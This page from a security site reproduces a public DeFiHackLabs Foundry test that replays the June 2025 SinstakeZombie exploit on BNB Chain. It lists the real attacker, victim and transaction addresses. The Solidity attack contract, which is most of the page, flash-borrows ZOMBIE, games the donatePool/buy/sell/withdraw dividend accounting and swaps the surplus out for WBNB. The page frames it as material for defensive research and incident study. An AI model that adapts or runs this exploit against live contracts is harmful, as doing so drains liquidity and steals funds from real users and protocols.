Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/SinstakeZombie_exp.sol

Public reproduction file for dataset entry SinstakeZombie.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/SinstakeZombie_exp.sol137 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 705.13 USD
8// Attacker : 0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de
9// Attack Contract : 0xd599588b08eb167ee455f4bdac46fe162e7a6515
10// Vulnerable Contract : 0x7314729D691fD074DBbA03ca3c6eF3BE61b31D34
11// Attack Tx : https://bscscan.com/tx/0x8b8e655c0ab0cd400e23e6d6a935aa23226a8a060bb37f40663f2d81ee63b94f
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x7314729D691fD074DBbA03ca3c6eF3BE61b31D34#code
15//
16// @Analysis
17// Telegram Alert : https://t.me/defimon_alerts/1319
18//
19// Attack summary: the attacker flash-borrowed ZOMBIE from the ZOMBIE/WBNB BSCswap pair, used the
20// SinstakeNetworkZombie donate/buy/sell/withdraw accounting path to pull more ZOMBIE from the
21// contract than the flash-borrowed principal, then sold the excess ZOMBIE through the same pair for WBNB.
22// Root cause: donation-funded dividends are immediately claimable by a same-transaction buyer/seller,
23// so a temporary ZOMBIE balance can mint pool shares, realize the dividend balance, and leave enough
24// surplus ZOMBIE to drain WBNB liquidity after satisfying the pair invariant.
26address constant ATTACKER = address(uint160(0x00c49f2938327aa2cdc3f2f89ed17b54b3671f05de));
27address constant HISTORICAL_ATTACK_CONTRACT = address(uint160(0x00d599588b08eb167ee455f4bdac46fe162e7a6515));
28address constant HISTORICAL_FLASH_HELPER = address(uint160(0x005bd5cce0e913d1bb17b8019987c1e4af7f746f45));
29address constant ZOMBIE_WBNB_PAIR = address(uint160(0x00aa4de99529ce0dc3ff2d2da3e73ab001ad068dc6));
30address constant SINSTAKE_ZOMBIE = address(uint160(0x007314729d691fd074dbba03ca3c6ef3be61b31d34));
31address constant ZOMBIE_TOKEN = address(uint160(0x00e2a6428fd332287b0470965e16350d3cc1736e3e));
32address constant WBNB_TOKEN = address(uint160(0x00bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c));
34uint256 constant FLASH_ZOMBIE_AMOUNT = 0x18d446cd6800;
35uint256 constant DONATE_AMOUNT = 0x9184e72a000;
36uint256 constant BUY_AMOUNT = 0xdea4f10a800;
37uint256 constant CALLBACK_PAIR_INPUT = 0x1a383a622000;
38uint256 constant WBNB_OUT = 0x0f49e4d1e914e349;
40interface IBSCswapPair {
41 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
42 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
43 function token0() external view returns (address);
44 function token1() external view returns (address);
47interface IBSCswapCallee {
48 function BSCswapCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
51interface ISinstakeNetworkZombie {
52 function donatePool(
53 uint256 amount
54 ) external returns (uint256);
55 function buy(
56 uint256 buyAmount
57 ) external returns (uint256);
58 function myTokens() external view returns (uint256);
59 function sell(
60 uint256 amountOfTokens
61 ) external;
62 function withdraw() external;
65contract ContractTest is BaseTestWithBalanceLog {
66 function setUp() public {
67 uint256 forkBlock = 51_737_496;
68 vm.createSelectFork("bsc", forkBlock);
69 vm.roll(51_737_497);
70 vm.warp(1_750_350_413);
72 fundingToken = WBNB_TOKEN;
73 attacker = ATTACKER;
75 vm.label(ATTACKER, "Attacker");
76 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
77 vm.label(HISTORICAL_FLASH_HELPER, "Historical flash helper");
78 vm.label(ZOMBIE_WBNB_PAIR, "ZOMBIE/WBNB BSCswap pair");
79 vm.label(SINSTAKE_ZOMBIE, "SinstakeNetworkZombie");
80 vm.label(ZOMBIE_TOKEN, "ZOMBIE");
81 vm.label(WBNB_TOKEN, "WBNB");
82 }
84 function testExploit() public balanceLog {
85 assertEq(IBSCswapPair(ZOMBIE_WBNB_PAIR).token0(), WBNB_TOKEN);
86 assertEq(IBSCswapPair(ZOMBIE_WBNB_PAIR).token1(), ZOMBIE_TOKEN);
88 uint256 attackerWbnbBefore = IERC20(WBNB_TOKEN).balanceOf(ATTACKER);
89 uint256 pairWbnbBefore = IERC20(WBNB_TOKEN).balanceOf(ZOMBIE_WBNB_PAIR);
91 SinstakeZombieAttack attack = new SinstakeZombieAttack(ATTACKER);
92 attack.execute();
94 uint256 attackerProfit = IERC20(WBNB_TOKEN).balanceOf(ATTACKER) - attackerWbnbBefore;
95 assertEq(attackerProfit, WBNB_OUT);
96 assertEq(pairWbnbBefore - IERC20(WBNB_TOKEN).balanceOf(ZOMBIE_WBNB_PAIR), WBNB_OUT);
97 }
100contract SinstakeZombieAttack is IBSCswapCallee {
101 address private immutable profitReceiver;
103 constructor(
104 address receiver
105 ) {
106 profitReceiver = receiver;
107 }
109 function execute() external {
110 // step 1: borrow ZOMBIE from the live pair through its BSCswap callback.
111 IBSCswapPair(ZOMBIE_WBNB_PAIR).swap(0, FLASH_ZOMBIE_AMOUNT, address(this), abi.encode(uint256(1)));
113 // step 5: after the first swap accepts its input, send all remaining ZOMBIE to the pair and
114 // swap the resulting reserve imbalance into WBNB for the historical attacker.
115 IERC20(ZOMBIE_TOKEN).transfer(ZOMBIE_WBNB_PAIR, IERC20(ZOMBIE_TOKEN).balanceOf(address(this)));
116 IBSCswapPair(ZOMBIE_WBNB_PAIR).getReserves();
117 IBSCswapPair(ZOMBIE_WBNB_PAIR).swap(WBNB_OUT, 0, profitReceiver, new bytes(0));
118 }
120 function BSCswapCall(address, uint256 amount0, uint256 amount1, bytes calldata) external override {
121 require(msg.sender == ZOMBIE_WBNB_PAIR, "unexpected pair");
122 require(amount0 == 0 && amount1 == FLASH_ZOMBIE_AMOUNT, "unexpected flash amount");
124 // step 2: use the borrowed ZOMBIE as temporary capital for SinstakeNetworkZombie.
125 IERC20(ZOMBIE_TOKEN).approve(SINSTAKE_ZOMBIE, FLASH_ZOMBIE_AMOUNT);
126 ISinstakeNetworkZombie(SINSTAKE_ZOMBIE).donatePool(DONATE_AMOUNT);
127 ISinstakeNetworkZombie(SINSTAKE_ZOMBIE).buy(BUY_AMOUNT);
129 // step 3: burn the freshly minted pool balance, then withdraw the dividend-funded ZOMBIE.
130 uint256 mintedPoolTokens = ISinstakeNetworkZombie(SINSTAKE_ZOMBIE).myTokens();
131 ISinstakeNetworkZombie(SINSTAKE_ZOMBIE).sell(mintedPoolTokens);
132 ISinstakeNetworkZombie(SINSTAKE_ZOMBIE).withdraw();
134 // step 4: satisfy the flash swap invariant while retaining the excess ZOMBIE for the follow-up swap.
135 IERC20(ZOMBIE_TOKEN).transfer(ZOMBIE_WBNB_PAIR, CALLBACK_PAIR_INPUT);
136 }

Analysis

Dataset entry

Public Foundry test for “SinstakeZombie” (2025-06-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de

  • Attack Contract

    0xd599588b08eb167ee455f4bdac46fe162e7a6515

  • Vulnerable Contract

    0x7314729d691fd074dbba03ca3c6ef3be61b31d34

  • Attack Tx

    0x8b8e655c0ab0cd400e23e6d6a935aa23226a8a060bb37f40663f2d81ee63b94f

File record

Name
SinstakeZombie
Path
src/test/2025-06/SinstakeZombie_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
defa1d1153f1948f8d2d7fa2d862ce26e59448c6
Language
Solidity
Size
138 lines
Date
2025-06-19
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/SinstakeZombie_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob defa1d1153f1948f8d2d7fa2d862ce26e59448c6, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.